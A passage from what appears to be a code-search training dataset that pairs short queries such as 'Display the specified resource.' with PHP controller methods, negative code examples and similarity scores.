[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource. $
public function show($id) { // Get Categorys $categoryWiseResource = CategoryWiseSpecification::findOrFail($id); // Return single Categorys as a resource return new CategoryWiseSpecificationResouerce($categoryWiseResource); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n //\n }", "public function show(Resource $resource)\n {\n // not available for now\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function get_resource();", "public function retrieve(Resource $resource);", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n\t{\n\t\t\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function show(Resena $resena)\n {\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function display() {}", "public function display() {}", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show()\n\t{\n\n\t}", "public function display(){}", "abstract public function resource($resource);", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "public function get(Resource $resource);", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "function show() {\n echo $this->fetch();\n }", "abstract protected function show();", "abstract public function resource();", "public function image_display_gd($resource)\n\t{\n\t\theader('Content-Disposition: filename='.$this->source_image.';');\n\t\theader('Content-Type: '.$this->mime_type);\n\t\theader('Content-Transfer-Encoding: binary');\n\t\theader('Last-Modified: '.gmdate('D, d M Y H:i:s', time()).' GMT');\n\n\t\tswitch ($this->image_type)\n\t\t{\n\t\t\tcase 1\t:\timagegif($resource);\n\t\t\t\tbreak;\n\t\t\tcase 2\t:\timagejpeg($resource, NULL, $this->quality);\n\t\t\t\tbreak;\n\t\t\tcase 3\t:\timagepng($resource);\n\t\t\t\tbreak;\n\t\t\tdefault:\techo 'Unable to display the image';\n\t\t\t\tbreak;\n\t\t}\n\t}", "protected function _show() {\n if ($this->_iId == '401')\n header('HTTP/1.0 401 Authorization Required');\n\n elseif ($this->_iId == '403')\n header('HTTP/1.0 403 Forbidden');\n\n elseif ($this->_iId == '404') {\n header('Status: 404 Not Found');\n header('HTTP/1.0 404 Not Found');\n }\n\n $oTemplate = $this->oSmarty->getTemplate($this->_sController, $this->_iId);\n $this->oSmarty->setTemplateDir($oTemplate);\n return $this->oSmarty->fetch($oTemplate, UNIQUE_ID);\n }", "public function display()\n {\n }", "public function display()\n {\n }", "public function display()\n {\n }", "public function display()\n {\n }", "public function display() {\n\t}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public abstract function display();", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "function showResources() {\n $output = $this->outputBoilerplate('resources.html');\n return $output;\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function info(){\n $this->display('Main/Person/info') ;\n }", "public function show() {\n\t}", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function resourcecontentAction() {\n\t$resource_type = $this->_getParam('resource_type');\n\t$resource_id = $this->_getParam('resource_id');\n\t$is_spocerdStory = $this->_getParam('is_spocerdStory', null);\n\n\t$is_document = 0;\n\tif ($resource_type == 'document') {\n\t $is_document = 1;\n\t}\n \n if( strstr($resource_type, \"sitereview\") ) {\n // $resource_type = \"sitereview\";\n\n $sitereviewExplode = explode(\"_\", $resource_type);\n $tempAdModId = $sitereviewExplode[1];\n $module_info = Engine_Api::_()->getItem(\"communityad_module\", $tempAdModId);\n $tempModName = strtolower($module_info->module_title);\n $tempModName = ucfirst($module_info->module_title);\n \n $content_table = \"sitereview_listing\";\n $sub_title = \"View\" . \" \" . $tempModName;\n $content_data = Engine_Api::_()->getItem($content_table, $resource_id);\n }else {\n $field_info = Engine_Api::_()->getDbTable('modules', 'communityad')->getModuleInfo($resource_type);\n\n if (!empty($field_info)) {\n $content_data = Engine_Api::_()->getItem($field_info['table_name'], $resource_id);\n }\n }\n\n $base_url = Zend_Controller_Front::getInstance()->getBaseUrl();\n if( empty($sub_title) ) {\n $sub_title = Engine_Api::_()->communityad()->viewType($resource_type);\n }\n\t$photo_id_filepath = 0;\n\n\tif (empty($is_document)) {\n\t $photo_id_filepath = $content_data->getPhotoUrl('thumb.normal');\n\t} else {\n\t $photo_id_filepath = $content_data->thumbnail;\n\t}\n\n\tif (strstr($photo_id_filepath, '?')) {\n\t $explode_array = explode(\"?\", $photo_id_filepath);\n\t $photo_id_filepath = $explode_array[0];\n\t}\n\n\t$isCDN = Engine_Api::_()->seaocore()->isCdn();\n\n\tif (empty($isCDN)) {\n\t if (!empty($base_url)) {\n\t\t$photo_id_filepath = str_replace($base_url . '/', '', $photo_id_filepath);\n\t } else {\n\t\t$arrqay = explode('/', $photo_id_filepath);\n\t\tunset($arrqay[0]);\n\t\t$photo_id_filepath = implode('/', $arrqay);\n\t }\n\t}\n\n\tif (!empty($photo_id_filepath)) {\n\t if (strstr($photo_id_filepath, 'application/')) {\n\t\t$photo_id_filepath = 0;\n\t } else {\n\t\t$content_photo = $this->upload($photo_id_filepath, $is_document, $isCDN);\n\t }\n\t}\n\t// Set \"Title width\" acording to the module.\n\t$getStoryContentTitle = $title = $content_data->getTitle();\n\t$title_lenght = strlen($title);\n\t$tmpTitle = strip_tags($content_data->getTitle());\n\t$titleTruncationLimit = $title_truncation_limit = Engine_Api::_()->getApi('settings', 'core')->getSetting('ad.char.title', 25);\n\tif ($title_lenght > $title_truncation_limit) {\n\t $title_truncation_limit = $title_truncation_limit - 2;\n\t $title = Engine_String::strlen($tmpTitle) > $title_truncation_limit ? Engine_String::substr($tmpTitle, 0, $title_truncation_limit) : $tmpTitle;\n\t $title = $title . '..';\n\t}\n\n\t// Set \"Body width\" acording to the module.\n\t$body = $content_data->getDescription();\n\t$body_lenght = strlen($body);\n\t$tmpBody = strip_tags($content_data->getDescription());\n\t$body_truncation_limit = Engine_Api::_()->getApi('settings', 'core')->getSetting('ad.char.body', 135);\n\tif ($body_lenght > $body_truncation_limit) {\n\t $body_truncation_limit = $body_truncation_limit - 2;\n\t $body = Engine_String::strlen($tmpBody) > $body_truncation_limit ? Engine_String::substr($tmpBody, 0, $body_truncation_limit) : $tmpBody;\n\t $body = $body . '..';\n\t}\n\n\n\n\n\t$preview_title = $title . '<div class=\"cmaddis_adinfo\"><a href=\"javascript:void(0);\">' . $sub_title . '</a></div>';\n \t//$preview_title = $title . '<div class=\"cmaddis_adinfo cmad_show_tooltip_wrapper\" style=\"clear:none;\"><a href=\"javascript:void(0);\">' . $sub_title . '</a><div class=\"cmad_show_tooltip\"> <img src=\"./application/modules/Communityad/externals/images/tooltip_arrow.png\" />Viewers will be able to like this ad and its content. They will also be able to see how many people like this ad, and which friends like this ad.</div></div>';\n\n\t$remaning_body_limit = $body_truncation_limit - strlen($body);\n\tif ($remaning_body_limit < 0) {\n\t $remaning_body_limit = 0;\n\t}\n\t$remaning_title_limit = $title_truncation_limit - strlen($title);\n\tif ($remaning_title_limit < 0) {\n\t $remaning_title_limit = 0;\n\t}\n\n\t// Set the default image if no image selected.\n\tif (empty($content_photo)) {\n\t if (empty($is_spocerdStory)) {\n\t\t$path = $this->view->layout()->staticBaseUrl . '/application/modules/Communityad/externals/images/blankImage.png';\n\t\t$content_photo = '<img src=\"' . $path . '\" alt=\" \" />';\n\t } else {\n\t $content_photo = $this->view->itemPhoto($content_data, 'thumb.profile');\n\t if( in_array('music', array('music')) && in_array('blog', array('blog')) ) {\n\t $content_photo = $this->view->itemPhoto($content_data, 'thumb.icon');\n\t }\n\t }\n\t}\n\t$viewerTruncatedTitle = Engine_Api::_()->communityad()->truncation($this->_viewer->getTitle(), $titleTruncationLimit);\n\t\n\tif ($is_spocerdStory == 1) {\n\t $storyTrunLimit = Engine_Api::_()->getApi('settings', 'core')->getSetting('story.char.title', 35);\n\t $getStoryContentTitle = Engine_Api::_()->communityad()->truncation($getStoryContentTitle, $storyTrunLimit);\n\t $getTooltipTitle = $this->view->translate(\"_sponsored_viewer_title_tooltip\");\n\t $getContentTooltipTitle = $this->view->translate(\"_sponsored_content_title_tooltip\");\n\t $viewerTruncatedTitle = '<span class=\"cmad_show_tooltip_wrapper\"><b><a href=\"javascript:void(0);\">' . $viewerTruncatedTitle . '</a></b><div class=\"cmad_show_tooltip\"><img src=\"./application/modules/Communityad/externals/images/tooltip_arrow.png\" style=\"width:13px;height:9px;\" />'.$getTooltipTitle.'</div></span>';\n\t $main_div_title = $this->view->translate('%s likes <a href=\"javascript:void(0);\">%s.</a>', $viewerTruncatedTitle, $getStoryContentTitle);\n\t $footer_comment = '';\n\n$content_photo = '<a href=\"javascript:void(0);\">' . $content_photo . '</a><div class=\"cmad_show_tooltip\">\n\t\t\t\t\t\t\t<img src=\"./application/modules/Communityad/externals/images/tooltip_arrow.png\" />\n\t\t\t\t\t\t\t'. $this->view->translate(\"_sponsored_content_photo_tooltip\") .'\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>';\n\t}else {\n\t $title = Engine_Api::_()->communityad()->truncation($title, $titleTruncationLimit);\n\t}\n\n\tif (empty($is_spocerdStory)) {\n\t $this->view->id = $content_data->getIdentity();\n\t $this->view->title = $title;\n\t $this->view->resource_type = $resource_type;\n\t $this->view->des = $body;\n\t $this->view->page_url = $content_data->getHref();\n\t $this->view->photo = $content_photo;\n\t $this->view->preview_title = $preview_title;\n\t $this->view->remaning_body_text = $remaning_body_limit;\n\t $this->view->remaning_title_text = $remaning_title_limit;\n\t $this->view->photo_id_filepath = $photo_id_filepath;\n\t} else {\n\t $this->view->main_div_title = $main_div_title;\n\t $this->view->photo = $content_photo;\n\t $this->view->temp_pre_title = $getStoryContentTitle; \n\t $getStoryContentTitle = str_replace(' ', '&nbsp;', $getStoryContentTitle);\n\t $this->view->preview_title = $getStoryContentTitle; \n\t $this->view->footer_comment = $footer_comment;\n\t $this->view->remaning_title_text = $remaning_title_limit;\n\t $this->view->modTitle = $field_info['module_title'];\n\t}\n }", "public function show();", "public function show();", "public function show();", "public function show();", "public function show()\n {\n //\n }", "function display (&$source, &$request, &$context) {\n\t}", "public function show(retiro $retiro)\n {\n //\n }", "public function show()\n {\n header('Content-Type: image/' . $this->config->mimeType);\n echo $this;\n }", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "function image_display_gd($resource)\n\t{\n\t\theader(\"Content-Disposition: filename={$this->file_name};\");\n\t\theader(\"Content-Type: {$this->mime_type}\");\n\t\theader('Content-Transfer-Encoding: binary');\n\t\theader('Last-Modified: '.gmdate('D, d M Y H:i:s', $this->EE->localize->now).' GMT'); \n\t\n\t\tswitch ($this->image_type)\n\t\t{\n\t\t\tcase 1 \t\t:\timagegif($resource);\n\t\t\t\tbreak;\n\t\t\tcase 2\t\t:\timagejpeg($resource, '', $this->quality);\n\t\t\t\tbreak;\n\t\t\tcase 3\t\t:\timagepng($resource);\n\t\t\t\tbreak;\n\t\t\tdefault\t\t:\techo 'Unable to display the image';\n\t\t\t\tbreak;\t\t\n\t\t}\t\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "protected function _display($template)\n {\n echo $this->_fetch($template);\n }", "public function show($id)\n\t{ \n\t\t//\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function display() {\n echo $this->render();\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function show($id)\n\t{\n\t\t\n\t}", "public function show($id)\n\t{\n\t\t\n\t}", "public function show($id)\n\t{\n\t\t\n\t}", "public function show($id)\n {\n //\n\t\techo 'show';\n }", "public function show()\n {\n \n }", "public function show()\n {\n \n }", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show() {\n \n }" ]
[ "0.80919385", "0.8057063", "0.69767725", "0.66477203", "0.6582711", "0.6576947", "0.6554773", "0.65033346", "0.6436811", "0.6331079", "0.6295984", "0.6266727", "0.62626827", "0.6230831", "0.62300277", "0.62278295", "0.62278295", "0.62278295", "0.6201471", "0.6199611", "0.61806", "0.61388546", "0.61184424", "0.6098483", "0.60914785", "0.60861313", "0.60847294", "0.60847294", "0.6080098", "0.6077918", "0.60742325", "0.6068107", "0.6053975", "0.6039508", "0.602772", "0.6012783", "0.60010654", "0.59981865", "0.59805655", "0.5980118", "0.5978095", "0.5978095", "0.597725", "0.597725", "0.5968074", "0.59647274", "0.59427834", "0.5933208", "0.5932584", "0.59256315", "0.59251684", "0.59221154", "0.5912758", "0.59063756", "0.5902912", "0.5897999", "0.5897608", "0.5879047", "0.5866748", "0.5866748", "0.5866748", "0.5866748", "0.5851358", "0.5850988", "0.58491886", "0.5839045", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.58280855", "0.58280855", "0.5825692", "0.5825692", "0.582428", "0.58209765", "0.5815776", "0.58071756", "0.58054423", "0.5804092", "0.5803582", "0.58034927", "0.58018637", "0.5800748", "0.5795871", "0.5795871", "0.5795871", "0.5795481", "0.5793012", "0.5793012", "0.5790537", "0.578923", "0.5788535", "0.5779248", "0.57673055" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // Get Categorys $categoryWiseResource = CategoryWiseSpecification::findOrFail($id); if($categoryWiseResource->delete()) { return new CategoryWiseSpecificationResouerce($categoryWiseResource); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if 